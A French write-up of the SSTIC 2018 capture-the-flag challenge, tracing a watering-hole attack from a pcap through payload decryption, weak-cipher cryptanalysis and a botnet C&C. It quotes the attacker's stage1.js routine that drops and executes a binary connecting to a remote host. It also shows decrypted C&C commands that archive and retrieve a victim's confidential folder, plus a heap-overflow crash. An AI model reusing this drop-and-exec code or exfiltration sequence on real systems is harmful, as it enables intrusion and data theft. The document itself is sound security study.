Introduction

Cela devient une tradition bien ancrée, la conférence SSTIC propose tous les ans depuis 2009 un challenge portant son nom.

Chaque année, c’est une formidable occasion de découvrir qu’on est complétement nul dans beaucoup de domaines. Et chaque année, c’est un motivateur puissant qui nous force à assimiler de nouvelles connaissances afin de devenir un peu moins nul.
[Phrase d’accroche d’occasion. Réutilisée. Bon état général.]

Le but du challenge consiste à retrouver une adresse email. L'édition 2018 bénéficie d’un scénario soigné qui renferme 4 niveaux principaux. Le point de départ est une trace pcap réalisée suite à une intrusion réseau. La résolution du challenge consiste à comprendre l’attaque, déchiffrer un échange réseau pour accéder à un binaire malveillant qui a servi pendant l’attaque. Il faut ensuite déchiffrer les communications de ce binaire en s’appuyant sur une optimisation d’algorithme cryptographique inefficace. Enfin, une prise de contrôle partielle du serveur de Command & Control est faite, ce qui permet de trouver dans un fichier l’adresse mail convoitée.

Ce document présente les méthodes utilisées pour résoudre les différentes épreuves. L’intégralité des codes sources ne sera pas fournie dans ce document, seules les parties essentielles à la compréhension pour la résolution seront explicitées.

1 - Anomaly Detection - "I don’t care who you are! I’ll win!" (Soulcalibur)

L’archive téléchargée est un pcap gzippé de taille conséquente (38Mo). Il est conseillé de démarrer par des analyses statistiques pour en avoir une vue d’ensemble. L'étude du trafic est faite par élimination: ce qui n’est pas IP (néant), puis ni TCP et ni UDP (néant), puis UDP qui n’est pas du DNS (néant également). Une analyse rapide du trafic DNS montre qu’aucun tunnel DNS n’est présent, il ne reste plus que le trafic TCP à analyser. L’outil d’analyse et de statistique intégré à wireshark permet de détecter rapidement des points d’entrée pour l’analyse:

Module analyse de Wireshark

Le trafic sur le port 31337 semble chiffré et n’est pas utilisable en l'état. Le trafic sur le port 1443 est du trafic SSL, le certificat est le suivant:

Certificat présenté par 10.241.20.18

Nous admirons l’humour des concepteurs ici, APT28 étant un groupe reconnu d’attaquants, legit-news.ru étant surement une référence aux fake news.

La donnée importante passe par le port 8080 et est expliquée plus en détail dans le paragraphe suivant. Le reste du trafic capturé ressemble à une session de surf sur le web normal: consultation de sites de nouvelles.

1.1 - Une attaque par waterholing dirigée sur 192.168.231.123

Une commande tshark donne l’enchainement des fichiers téléchargés par la victime sur la machine 10.241.20.18:8080:

mitsurugi@dojo:~/chall/sstic$ tshark -2 -r challenge_SSTIC_2018.pcapng -R 'tcp.port == 8080 and http.request.method == "GET"'
    1 35.296288111 192.168.231.12310.241.20.18 HTTP 392 GET /stage1.js HTTP/1.1
    2 35.819237998 192.168.231.12310.241.20.18 HTTP 391 GET /utils.js HTTP/1.1
    3 1731.164424164 192.168.231.12310.241.20.18 HTTP 442 GET /blockcipher.js?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1
    4 1731.225567268 192.168.231.12310.141.20.18 HTTP 482 GET /blockcipher.wasm?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1
    5 1731.228264594 192.168.231.12310.241.20.18 HTTP 438 GET /payload.js?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1
    6 1731.302864852 192.168.231.12310.241.20.18 HTTP 437 GET /stage2.js?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1
mitsurugi@dojo:~/chall/sstic$

Le nom de ces fichiers (et leurs contenus) est sans équivoque, nous sommes en présence d’une attaque ciblant le navigateur de la victime. L’origine du téléchargement se fait lors de la consultation de la page d’accueil de www.theregister.co.uk
[Paquet 9185 et suivant de la communication HTTP]
. Le fichier HTML réalise un appel vers 10.241.20.18:8080 pour télécharger le fichier stage1.js, et le reste s’enchaine.

Présence de stage1.js dans le code HTML

Ce mode opératoire correspond au waterholing: un site légitime est infecté par un javascript malveillant, et l’attaquant attend patiemment que sa victime consulte le site web.

Le détail des fichiers est le suivant:

stage1.js

Contient le corps de l’attaque. Ce fichier charge les autres fichiers javascript. Le but de ce fichier est de télécharger et exécuter un binaire appelé f4ncyn0un0urs
[Fancy Bear est un des noms lié au groupe APT28]
.

utils.js

Ce fichier est une bibliothèque de fonctions facilitant la vie du développeur d’exploit, son analyse n’apprend rien de particulier.

blockcipher.js

Ce fichier sert d’enveloppe pour démarrer le blockcipher.wasm

blockipher.wasm

Un fichier javascript en web assembly contenant entre autre plusieurs fonctions de chiffrement qui seront vues en détail dans les prochains paragraphes, ainsi que getFlag(), étudié ici

payload.js

Ce fichier ne contient qu’une variable contenant du base64

stage2.js

Les fonctions les plus intéressantes pour la compréhension du niveau 2 sont dans ce fichier

Le fichier stage1.js appelle les autres fichiers js et termine sur cet appel:

    drop_exec = function(data) {
        rop_mem = new ArrayBuffer(0x10000);

        function write_str(str, offset) {
            var ba = new Uint8Array(rop_mem);
            for(var i=0;i<str.length;i++)
                ba[i+offset] = str.charCodeAt(i);
            ba[i+offset] = 0;
            return i+1;
        }

        write_str("/tmp/.f4ncyn0un0urs", 0);
        rop_mem_backstore = leak_arraybuffer_backstore(rop_mem);
        call_func(open, rop_mem_backstore+0x30, rop_mem_backstore, 0x241, 0x1ff);

        console.log("[+] output file opened")

        var dv = new DataView(data);
        dv.getUint8(0);

        console.log(leak_arraybuffer_backstore(data).toString(16));

        call_func(write, rop_mem_backstore+0x38, memory.read(rop_mem_backstore+0x30), leak_arraybuffer_backstore(data), data.byteLength);
        call_func(close, rop_mem_backstore+0x38, memory.read(rop_mem_backstore+0x30), 0, 0, 0);

        console.log("[+] wrote data")

        args = ["/tmp/.f4ncyn0un0urs", "-h", "192.168.23.213", "-p", "31337"];

        args_addr = rop_mem_backstore + 0x40;
        data_offset = 0x100;
        env_addr = rop_mem_backstore+0x90;

        for(var i=0;i<args.length;i++) {
            memory.write(args_addr + 8*i, rop_mem_backstore + data_offset);
            data_offset += write_str(args[i], data_offset);
        }

        console.log("[+] executing");

        call_func(execve, rop_mem_backstore+0x80, rop_mem_backstore, args_addr, env_addr);
    }

    decryptAndExecPayload(drop_exec);

Nous comprenons donc que le but de l’attaque effectué dans stage1 va déchiffrer et exécuter le payload qui sera /tmp/.f4ncyn0un0urs.

A l’occasion de ce challenge, j’ai pu m’intéresser au wasm que je ne connaissais pas du tout. Le fonctionnement de wasm est relativement basique, nous sommes face à une machine à pile en logique polonaise inversée. Pour additionner 2 et 2, il suffit de faire:

i32.store 2  //ajout d'un int=2 sur la pile
i32.store 2  //ajout d'un autre int=2 sut la pile
i32.add      //le résultat est stocké sur la pile

La machine wasm a un nombre de registres non définis, et peut lire/écrire dans la mémoire. Toutes les fonctions classiques (opérations, comparaisons, sauts) sont réalisables. Pour débugger du wasm, il a été utilisé une version de Firefox 60.0b13 qui contient un debugger integré. Quelques petits bugs peu génants ont été toutefois détectés, mais ne gênent pas pour résoudre le challenge (obligation de recharger la page pour accéder au debugger, erreur d’arrondis lors de l’affichage de certaines valeurs dans les registres, mode step-by-step impossible).

1.2 - Détail de la fonction GetFLag

La lecture du fichier stage2.js permet de découvrir une fonction au nom évocateur: getFlag() qui est commentée. Le code de cette fonction est défini dans le fichier blockcipher.wasm. Un fichier HTML a été réécrit, permettant de charger les fichiers js et wasm du challenge. Afin de contourner un problème de chargement asynchrone des fichiers javascript (appel d’une fonction dans un fichier qui n’est pas encore chargé), j’ai opté pour une boucle d’attente. Le code est le suivant:

function donneflag(secret) {
if (typeof Module === 'undefined' ||
    typeof Module.asm === 'undefined' ||
    typeof Module.asm._malloc === 'undefined') {
     setTimeout(() => donneflag(secret), 1000);
     return;
  }
  getFlag(secret);
}
console.log("Flag");

donneflag(1);

Un breakpoint est posé lors de l’appel à la fonction getFlag, une analyse statique permet d’obtenir rapidement la bonne valeur:

Console de debug Firefox 60

Le code de la fonction 18 ne contient qu’une seule comparaison:

$var0 est le paramètre donné à getFlag()

Le paramètre $var0 correspond au paramètre de la fonction getFlag. Il apparait que le nombre 89594904 écrit en hexadécimal vaut 0x5571c18, qui se lit SSTIC18 en l33tsp34k.

L’appel de getFlag() avec cette valeur donne le flag1:

Important
Premier flag
SSTIC2018{3db77149021a5c9e58bed4ed56f458b7}

1.3 - Conclusion: Trois machines du réseau interne sont infectées: 192.168.231.123, 10.241.20.18 et 192.168.23.213

Le scénario initial mentionne une machine du réseau interne qui est suspecte. L’analyse du pcap montre 3 machines infectées:

192.168.231.123

Machine victime, annoncée comme éteinte et déconnectée du réseau dans le mail. Elle doit être considérée comme compromise, et ne doit pas être reconnectée au réseau. Les systèmes linux ont généralement un script qui nettoie /tmp au boot, si elle a été redémarrée, l’extraction de /tmp/.f4ncyn0un0urs est peut-être impossible.

192.168.23.213

La machine victime s’est connectée sur cette IP. Faute de traces de cette machine, elle doit être également mise sous quarantaine, et considérée comme malveillante.

10.241.20.18

Cette machine héberge un serveur web sur le port 8080 et 1443 (ssl). Il faut également la placer en quarantaine, et doit être considérée comme malveillante.

Le flag1 est trouvé, l’analyse peut continuer.

2 - Disruptive Javascript - "You won’t make up through this fight" (Soulcalibur)

La résolution du niveau 2 débute par l’analyse du javascript contenu dans le fichier stage2.js. Le fichier stage1.js contient l’attaque et le lancement du binaire malveillant, le fichier stage2.js permet de comprendre comment le déchiffrement est effectué.

2.1 - Stage2.js contient l’intelligence de l’attaque

Stage2.js définit les fonctions suivantes:

deriveKey(salt, password)

le password fournit en argument provient de la sortie d’un PBKDF2. Ce password est donné à deriveKey pour produire un contexte de 160 octets. Les 32 premiers octets correspondent à la clé, les suivants sont dérivés de cette clé.

getFlag(secret)

Etudiée au chapitre précédent

decryptData(data, password)

Le nom de cette fonction est évocateur. Le déchiffrement du payload prend place ici. L’analyse du chiffrement est fait dans le chapitre suivant.

d(x)

une fonction très courte, d’une ligne: return ( (200 * x * x) + (255 * x) + 92) % 0x100; Cette fonction est bijective. Tout élément de son ensemble d’arrivée a un et un seul antécédent, c’est-à-dire est image d’exactement un élément du domaine de départ. Nous pouvons écrire une fonction inv_d(x) qui répond à cette équation d(inv_d(x))=x pour tout x appartenant à [0:255]. Cette propriété sera utilisé lors de la résolution de l'épreuve.

deobfuscate(data)

chaque octet x de data est remplacé par d(x) (fonction indiquée précedemment).

decryptAndExecPayload(drop_exec)

cette fonction est appelée par stage1. Son nom est également évocateur, le seul point notable concerne cette ligne: decryptData(deobfuscate(base64DecToArr(payload)), passwordReader.result) où l’on voit que le data passe par la fonction deobfuscate() avant d'être déchiffré. passwordReader.result va lire le mot de passe sur un serveur en SSL sur le port 1433 ce qui est cohérent avec le contenu du pcap.

La vue d’avion est la suivante:

  1. Téléchargement du password sur 10.241.20.18:1443. Le téléchargement étant fait en SSL, nous n’avons pas accès au mot de passe, un PBKDF2 est fait pour obtenir 32 octets de mots de passe

  2. deriveKey de ce mot de passe, nous obtenons 160 octets à partir des 32 du mot de passe

  3. decryptData : le data provient du fichier payload.js, passé par la fonction d(x). Le mot de passe n'étant pas connu, il faut donc casser le chiffrement.

  4. Le déchiffrement se fait par bloc, en mode CBC

  5. en fin de déchiffrement, une comparaison des 16 premiers octets de clair est fait avec la chaine -Fancy Nounours-, et en cas de réussite, tous les octets suivants sont écrits sur disque.

2.2 - Rétroingénierie du web assembly appelé par stage2.js

Afin d’obtenir le payload en clair, il est décidé d’inverser l’algorithme de chiffrement. Nous avons le chiffré, les 16 premiers octets de clair -Fancy Nounours-, il faut trouver la clé. La validité de cette clé sera testée sur le deuxième bloc de 16 octets, car nous savons qu’il s’agit d’un binaire ELF dont l’entête est connu.

Pour analyser ce chiffrement, j’ai choisi de réécrire en python la fonction _decryptBlock du web assembly. Cela ne pose pas de problèmes particuliers, la première version donne un fichier conséquent, puis une phase de simplification débute. Il est observé que la fonction d(x) est appelée, et une version linéaire de inverse_d(x) est présente dans le webassembly. Le fichier final, decrypt.py fait quelques lignes et permet d’observer plus en détail le comportement de l’algorithme de chiffrement:

  1. Découpage du contexte de 160 bytes en 16x10 clés

  2. data = clair ^ key[9]

  3. les 16 octets sont déplacé d’un octet vers la gauche

  4. data = data ^ key[8]

  5. les 16 octets sont déplacé d’un octet vers la gauche

  6. data = data ^ key[7]

  7. les 16 octets sont déplacé d’un octet vers la gauche

  8. data = data ^ key[6]

  9. les 16 octets sont déplacé d’un octet vers la gauche

  10. data = data ^ key[5]

  11. les 16 octets sont déplacé d’un octet vers la gauche

  12. data = data ^ key[4]

  13. les 16 octets sont déplacé d’un octet vers la gauche

  14. data = data ^ key[3]

  15. les 16 octets sont déplacé d’un octet vers la gauche

  16. data = data ^ key[2]

  17. les 16 octets sont déplacé d’un octet vers la gauche

  18. data = data ^ key[1]

  19. les 16 octets sont déplacé d’un octet vers la gauche

  20. data = data ^ key[0]

  21. data = inverse_d(data)

  22. chiffré = data

Le script que j’ai employé permet visuellement d’observer le phénomène (à noter que mon script redécoupe les blocs de 16 octets en deux blocs de 8):

mitsurugi@dojo:~/chall/sstic/lvl2/one$ ./Simpler.py
PAD[0] = BLOCK[0] ^ CTX[18]  //  PAD[1] = BLOCK[1] ^ CTX[19]
16 rounds of rol
pad0 pad1=711dacac9ccb6969 990033d606003e49
pad0 pad1=1dacac9ccb696999 0033d606003e4988
pad0 pad1=acac9ccb69699900 33d606003e498858
pad0 pad1=ac9ccb6969990033 d606003e498858fb
pad0 pad1=9ccb6969990033d6 06003e498858fb7c
pad0 pad1=cb6969990033d606 003e498858fb7cb1
pad0 pad1=6969990033d60600 3e498858fb7cb103
pad0 pad1=69990033d606003e 498858fb7cb10347
pad0 pad1=990033d606003e49 8858fb7cb1034728
pad0 pad1=0033d606003e4988 58fb7cb1034728bc
pad0 pad1=33d606003e498858 fb7cb1034728bc87
pad0 pad1=d606003e498858fb 7cb1034728bc87c7
pad0 pad1=06003e498858fb7c b1034728bc87c710
pad0 pad1=003e498858fb7cb1 034728bc87c71087
pad0 pad1=3e498858fb7cb103 4728bc87c7108736
pad0 pad1=498858fb7cb10347 28bc87c710873662
pad0 pad1=8858fb7cb1034728 bc87c7108736624c
PAD[0] = PAD[0] ^ CTX[16]
PAD[1] = PAD[1] ^ CTX[17]
16 rounds of rol
pad0 pad1=8cfedd31cf8015fd 765219e6033509f9
pad0 pad1=fedd31cf8015fd76 5219e6033509f93a
pad0 pad1=dd31cf8015fd7652 19e6033509f93aba
pad0 pad1=31cf8015fd765219 e6033509f93abaef
pad0 pad1=cf8015fd765219e6 033509f93abaefa9
pad0 pad1=8015fd765219e603 3509f93abaefa9af
pad0 pad1=15fd765219e60335 09f93abaefa9af0e
pad0 pad1=fd765219e6033509 f93abaefa9af0e18
pad0 pad1=765219e6033509f9 3abaefa9af0e185c
pad0 pad1=5219e6033509f93a baefa9af0e185c6c
pad0 pad1=19e6033509f93aba efa9af0e185c6c22
 (...)

Les opérations de décalage vers la gauche s’inversent: l’octet qui apparait est le résultat de tous les octest XOR entre eux, après être passé dans une fonction d’obfuscation. Cette fonction n’a pas été étudiée, elle a seulement été traduite du wasm vers le python.

Il faut désormais casser ce chiffrement pour retrouver la clé. La clé fait 32 octets, étendus à 160, et chacune des 10 parties de cette clé est utilisée pour chiffrer les données. Une première approche semblerait dire qu’il est impossible d’obtenir un contexte complet à partir d’un clair connu de 16 octets car la fonction de chiffrement peut s'écrire (modulo la partie rotate on left):

chiffré = clair ^ key[0] ^ key[1] ^ key[2] ... ^ key[9]

Il est sans doute possible d'écrire des relations entre key[2] → key[9] et key[0],key[1] en étudiant de près la fonction de dérivation, ce qui permettrait hypothétiquement de simplifier le problème à:

chiffré = clair ^ key[0] ^ key[1]

Mais encore une fois, cela ne permet pas de retrouver key[0] et key[1].

J’ai finalement opté pour une approche logique plus que mathématique pour avancer. Ce challenge est une épreuve du SSTIC, destinée à être résolue. L’algorithme a vraisemblablement une faiblesse qu’il faut exploiter. La seule solution logique (quoique contre intuitive) permettant de résoudre cette épreuve serait d’avoir 9 des clés à 0. Dans ce cas, il est possible de remonter du chiffré vers le clair et de trouver la clé. Des tests menés sur des vecteurs (clair, clé, chiffrés) connus montrent que cela fonctionne. L'étude de deriveKey() est donc inutile, et une attaque est développée.

mitsurugi@dojo:~/chall/sstic/lvl2/$ ./level2.py
Go back and get CTX
expected = 2d46616e6379204e6f756e6f7572732d
iv       = 02887f88f2846dd09c92d695f8b1144a
Get fancynounours ^ iv
exp ^ iv = 2fce1ee691fd4d9ef3e7b8fa8dc36767
Get this through d(x)
After d() function
block = f5ae5e96936717de71bda482d7a13d3d
CTX:
bb9660f20e3f8eed78c9825777625e34
Now go forth, and decrypt that bear
iv =02887f88f2846dd09c92d695f8b1144a
C  =dcb9bf85486f133f6cbd03f1b825124c
ctx=bb9660f20e3f8eed78c9825777625e34
0x2d46616e6379204e6f756e6f7572732dL
We have this:
        -Fancy Nounours-
And for second block (starting of an ELF?)
iv=dcb9bf85486f133f6cbd03f1b825124c
C =f7897aaeeed02ec750fb4988c1cbdee2
ctx=bb9660f20e3f8eed78c9825777625e34
0x7f454c46020101030000000000000000L
We have this:
        ELF
[+] This is such a success!!
Writing 972288 bytes to file
Wrote 16384 bytes and counting...
Wrote 32768 bytes and counting...
 (... snip ...)

Le binaire extrait est au format ELF, et donne le flag du niveau2:

mitsurugi@dojo:~/chall/sstic/lvl2$ file stage3.elf
stage3.elf: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=dec6817fc8396c9499666aeeb0c438ec1d9f5da1, not stripped
mitsurugi@dojo:~/chall/sstic/lvl2$ strings stage3.elf | grep SSTIC
SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20}
mitsurugi@dojo:~/chall/sstic/lvl2$
Important
Deuxième flag
SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20}

2.3 - Conclusion: Déchiffrement et extraction d’un binaire malveillant

Les cryptologues auront reconnu l’utilisation de l’algorithme de chiffrement russe Kuznyechik qui a pris le parti d’avoir un nom difficile à prononcer. Cet algorithme a été subtilement affaibli par les concepteurs du challenge, une clé a été trouvée et un binaire malveillant a été extrait.

3 - Battle-tested Encryption - There are several ways to reach the top of the mountain, but the view is always the same. (Street Fighter AF)

Le binaire malveillant est entre les mains de l’analyste. Nous savons que ce binaire s’est connecté à une machine distante sur le port 31337. Le trafic sur ce port semble chiffré, l’analyse de ce binaire doit donc permettre de casser une nouvelle fois un chiffrement et de retrouver le trafic en clair pour découvrir les actions malveillantes des attaquants.

3.1 - Un binaire à la fois client et serveur

Obtenir le binaire permet à l’analyste de le disséquer. Les principales observations utiles pour la suite sont les suivantes:

  • Le binaire peut agir comme un serveur. Il doit être démarré avec le flag -c suivi du flag du niveau 3.

  • Le binaire est à la fois client et serveur. Il est possible de chainer plusieurs clients entre eux qui finissent connecté au C&C. Dans la suite de ce document nous allons appeler C&C le serveur principal, "node" un client connecté directement au C&C et "subnode" un noeaud connecté au travers d’un node.

  • Le port d'écoute du binaire peut être spécifié avec le paramètre -l suivi d’un nombre

  • Les paramètres -h et -p donnent au client l’IP et le port d'écoute du serveur auquel il doit se connecter.

  • d’autres paramètres sont disponibles, mais inutiles pour la résolution du challenge

Le binaire est compilé statiquement et n’est pas strippé, permettant à l’analyste d’avoir une vue d’ensemble assez simplement. Si nous émettons l’hypothèse que ces noms de fonctions sont légitimes, alors nous voyons une partie cryptographique, de l’AES, du RSA, des ajout de routes et de noeuds, un reseau mesh, etc..

Il est simple de recréer un réseau de machine infectées, en imaginant un C&C, un node1 avec deux subnodes et un node1 sans subnode, nous obtenons un réseau identique à celui-ci:

Connection entre C&C

Le C&C implémente une interface de commande rudimentaire, mais efficace, permettant d’afficher la liste des victimes, et d’exécuter des commandes, uploader, downloader, ou pinger les nodes ou les subnodes. Voici un exemple de session depuis le C&C: La liste des routes est affiché, un ping est lancé et l’aide intégrée est demandée.

 mitsurugi@dojo:~/chall/sstic/lvl3$ ./stage3_.elf -c SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20}
 routes
 --------------------------------------------------------------------------------
 routing table:
        0x256a0b69298a371d: 2
                0x963e903cd86e02d2
                0x1aeec2ae913f2985
        0x9509813556741aaa: 0
 --------------------------------------------------------------------------------
 ping
 peer: 0x963e903cd86e02d2
 content: test ping
 ping response from 0x963e903cd86e02d2:
 test ping
 help
 --------------------------------------------------------------------------------
 routes|get|put|cmd|ping
 --------------------------------------------------------------------------------

Afin de mieux comprendre les échanges, un client python est écrit. Pour aider à l'écriture, un script de monitoring gdb python est utilisé. Ce script gdb permet de break à des emplacements choisis, d’inspecter et de modifier les registres et de reprendre l’exécution. Le principe simplifié est le suivant:

import gdb

gdb.execute('b * aes_genkey', to_string=True)
gdb.execute('b * 0x400efa', to_string=True)   #Right before generation of route_id
gdb.execute('b * rsa2048_decrypt', to_string=True)
gdb.execute('b * rsa2048_encrypt', to_string=True)
gdb.execute('b * agent_init', to_string=True)
 (snip...)
## Here we have all of our monitoring
def _cont():
    gdb.execute('c')

def getreg(register):
    R=gdb.parse_and_eval("$"+register)
    return hex(R)

def _aes_genkey():
    gdb.write("[+] AES genkey has been called\n")
  (...snip...)

GOGOGO=True
while GOGOGO:
    BP = gdb.execute('info reg rip', to_string=True)
    if BP.find('<agent_init>')>=0:
        gdb.write('[+] Breaking at agent_init\n')
        data_block=getreg("rdi")
        gdb.write("    We got data_block at %s\n" % data_block)
        _cont()

    if BP.find('0x400efa')>=0:
        gdb.write('[+] Patching route id\n')
        _patch_route_id()
        _cont()

    if BP.find('<aes_genkey>')>=0:
        gdb.write('[+] Patching AS KEY\n')
        _aes_genkey()
        _cont()
(...)

Ce script perfectible permet un monitoring complet du fonctionnement du programme. En cas de questionnement sur le debug ou sur les données, il suffit d’ajouter un breakpoint, et une fonction de traitement.

Le format des échanges est le suivant: - Tout d’abord un int contenant la taille des données chiffrées est envoyée. - L’iv en clair suit - Puis le bloc de données chiffré

Les blocs de données ont ce format:

entête AAAAd1d3c0de

babar007

subnodeid (ou 0)

nodeid

command/size

data

data

Tableau des commandes:

0x0000100

ping

0x0000204

get fichier

0x0000202

put fichier

0x0000201

cmd

3.2 - Une clé AES est échangée après un chiffrement RSA

Le challenge nous fournit une capture réseau contenant du trafic sur le port 31337. Le port 31337 est le port de connexion spécifié dans le fichier stage1.js, qui est également le port d'écoute par défaut du binaire. Pour étudier le fonctionnement de ce binaire, un client python a été écrit, Nounours.py. Le fonctionnement du client fonctionne est le suivant:

  1. génération d’un module RSA 2048 (l’exposant vaut 65337)

  2. génération d’une clé AES aléatoire

  3. envoi du module au serveur

  4. réception du module serveur

  5. Chiffrement de sa clé AES et envoi au serveur

  6. Réception de la clé AES du serveur chiffrée par RSA

Le document d’explication fourni avec le challenge indiquait: Nous suspectons cette attaque d'être l'œuvre de l’Inadequation Group, ainsi nommé du fait de ses optimisations d’algorithmes cryptographiques totalement inadéquates. Deux procédés cryptographiques sont mis en oeuvre, RSA et AES. L’attaque sur AES fût fructueuse.

3.3 - Un AES a quatre rounds n’est pas solide

Le script de monitoring gdb a permis d’observer que le chiffrement AES n'était fait que sur 4 rounds, optimisation fort inadéquate. La littérature cryptographique mentionne que des attaques existent jusqu'à 6 rounds, sous conditions. Pour une attaque sur 4 rounds, il faut disposer de 256 clairs qui ne diffèrent que d’un octet et leurs chiffrés équivalents.

Par un hasard fortuit
[Ou la volonté délibérée des concepteurs du challenge]
, il se trouve que nous sommes précisément dans ce cas de figure:

  • Les échanges entre le client et le serveur commencent par un iv qui n’est autre qu’un simple compteur démarrant de 0

  • Les échanges entre le client et le serveur utilisent un format de message débutant par un entête fixe

  • Le chiffrement est effectué en CBC

En additionnat ces trois points, il apparait que nous disposons de 256 messages clairs (entête XOR iv) ne différant que d’un octet et les chiffrés correspondant.

Plutôt que de réinventer la roue, une recherche google mène vers un PoC très bien écrit de la team P4: https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/peoples_square

L’attaque est très bien documentée, et un code est même fourni qui s’applique directement. Pour passer ce niveau, il suffit donc d’extraire les 256 vecteurs côté client et de casser la clé AES, puis de répéter l’opération côté client.

3.4 - Conclusion: Déchiffrement des communications

Le déchiffrement des données est rendu possible grâce aux clés AES. Une étude est également faite sur le format d'échange des données entre le client et le serveur. Chaque paquet envoyé dispose d’un entête fixe "AAAA\xd1\xd3\xc0\xde babar007", le nodeid, le subnodeid éventuel, la taille, un numéro de code commande et les données. A partir d’une analyse dynamique et en affichant les données claires, l’analyste peut reconstruire les formats de message et écrire un parser. Les données particulièrement intéressantes sont les suivantes:

mitsurugi@dojo:~/chall/sstic/lvl3$ ./dechiffre_ser.py
size: 624 CMD: unknown
�Úi
    JS�ƙ�y#���Iv�lj����u�r�bq���{3+�1��j��n���%���VJ����J�3��v�����t����b����k
��^!�M]����m�����Z�<
                      u���v�g�n�%�����/?u͹X
[ת/���\��)��#��P
                 ��O�v����t�����b�
k���^��
########################################################################################################
size: 80 CMD: cmd
ls -la /home
########################################################################################################
size: 80 CMD: cmd
ls -la /home/user
########################################################################################################
size: 96 CMD: cmd
ls -la /home/user/confidentiel
########################################################################################################
size: 112 CMD: cmd
tar cvfz /tmp/confidentiel.tgz /home/user/confidentiel
########################################################################################################
size: 80 CMD: get
/tmp/confidentiel.tgz
########################################################################################################
size: 80 CMD: put
/tmp/surprise.tgz
########################################################################################################
size: 16336 CMD: data
########################################################################################################
(... snip ...)

Le premier paquet est un peu particulier, nous y reviendrons au chapitre suivant. Le botmaster a donc parcouru les dossiers de la victime, puis récupéré le dossier confidentiel/. Un tar a été déposé sur la victime. Le dossier confidentiel.tgz contient le flag du niveau 3:

mitsurugi@dojo:~/chall/sstic/lvl3$ tar zxvf confidentiel.tgz home/user/confidentiel/super_secret -O
home/user/confidentiel/super_secret
SSTIC2018{07aa9feed84a9be785c6edb95688c45a}
mitsurugi@dojo:~/chall/sstic/lvl3$

Le dossier surprise.tgz contient des images de lobster dog, animal bien connu des candidats à la résolution du challenge SSTIC.

Important
Troisième flag
SSTIC2018{07aa9feed84a9be785c6edb95688c45a}

4 - Nation-state Level Botnet - "A worthy adversary… let’s go!" (Soulcalibur)

L’analyse a désormais une vue globale sur l’incident. Nous connaissons plusieurs machines infectées du réseau, nous savons ce que les attaquants sont venus chercher sur la machine victime. Il faut désormais trouver le véritable C&C pour y découvrir une adresse mail ce qui permettra de les contacter et leur dire de ne plus recommencer car il faut leur faire comprendre que ce n'était vraiment pas gentil de les attaquer.

4.1 - Une injection de données dans un client dévoile le véritable C&C

La trace réseau montre une connection entre un client et un serveur. Ce serveur dispose d’une IP privée. Un attaquant externe n’a donc pas la possibilité de se connecter sur celle-ci. Nous comprenons rapidement que la victime est de type subnode, le serveur un node et que le véritable C&C est ailleurs. subnode victime → node serveur → C&C.

Le premier paquet échangé n’avait pas été étudié au chapitre précédent. Un maquettage rapide montre qu’un subnode est capable de se connecter au C&C lorsque l’on coupe le node intermédiaire: dit autrement, le node envoie au subnode les informations de connection au C&C, précisément dans ce premier paquet. Plutôt que de reverser la fonction responsable du traitement de ce paquet, une approche dynamique a été choisie:

  • lancement d’un C&C

  • lancement d’un node

  • lancement d’un subnode monitoré via gdb. Lors de la réception du paquet contenant les informations de connexion au C&C, patch en mémoire des données par celles provenant du pcap du challenge

  • arrêt du node

  • le subnode cherche à se connecter au C&C, dévoilant ainsi son IP:port

L’opération étant effectuée dans un environnement sans accès à internet, il a suffi de créer une fausse route par défaut et de consulter les paquets TCP SYN envoyés.

Un paquet SYN à destination de 195.154.105.12:36735 est constaté, la méthode est considérée comme valide et le C&C est désormais connu.

Arrivé à ce point, la plus mauvaise idée du monde est venue dans mon esprit. Ayant un script de monitoring client, j’ai décidé de sortir le client de sa zone sécurisée, et de le brancher sur le C&C, en me demandant ce que pouvait faire le botmaster. Très mauvaise idée puisque le binaire malveillant est aux ordres du botmaster, cela revient à donner un shell à l’attaquant malveillant. Et effectivement, une dizaine de minutes après la connection, les commandes suivantes ont été lancées:

cat /etc/passwd
uname
ls /home/mitsurugi
PWNED! noob

La réponse est effectivement éloquente. Le client standard a été immédiatement coupé, puis le client python neutre disposant de réponses programmées a été démarré. Un peu [ennuyé|agacé] par cette mauvaise idée, j’ai ajouté un goatse en ascii-art pour les commandes ls, une trollface.jpg pour les get de fichiers et quelques autres tricks avec des ANSI escape codes pour les autres commandes (écriture noir sur noir, etc..). Il a été constaté que le botmaster est relativement peu actif, et lance de temps en temps des commandes comme id mais ni n’upload, ni ne download de fichier, ni ne fait des pings.

4.2 - Le binaire est vulnérable à un heap overflow

Le serveur a une surface d’attaque relativement faible. Par quelques essais/erreurs, un crash se produit lors de l’ajout d’un 13e subnode à un node. J’utilise pour cela mon client python qui dispose d’une invite de commande permettant d’ajouter des subnode, de ping le server et de faire d’autres actions utiles pour l’exploitation finale:

mitsurugi@dojo:~/chall/sstic/lvl4$ ./Nounours.py
[+] AES server key: b0a8705ee6bdd4c40765b850e8826028
[+] Sending my nodeid: 4142434431323334
0000000000000000 0000000000000000
41414141dec0d3d1 6261626172303037
3433323144434241 0000000000000000
0000010028000000 0000000000000000
    size of data: 40000000
[+] Starting multithreading
after the recv: 40000000
[+] Reading 64 bytes from server
[+] GOT A PACKET FROM SERVER, KID! Req #0 datasize=40 and datatype=0x1010000
41414141dec0d3d1 6261626172303037
0000000000000000 3433323144434241
0000010128000000 0000000000000000
Command [quit|ping[get|sc]|[sub]get[0|ser]|teg|cmd|put_file|put_data|[N]addnode]>>> Naddnode
 (ajout de 13 subnodes...)

Et côté serveur, nous observons une erreur intéressante:

mitsurugi@dojo:~/chall/sstic/lvl4$ ./server.elf -c SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20}
realloc(): invalid next size
Appel système erroné
mitsurugi@dojo:~/chall/sstic/lvl4$

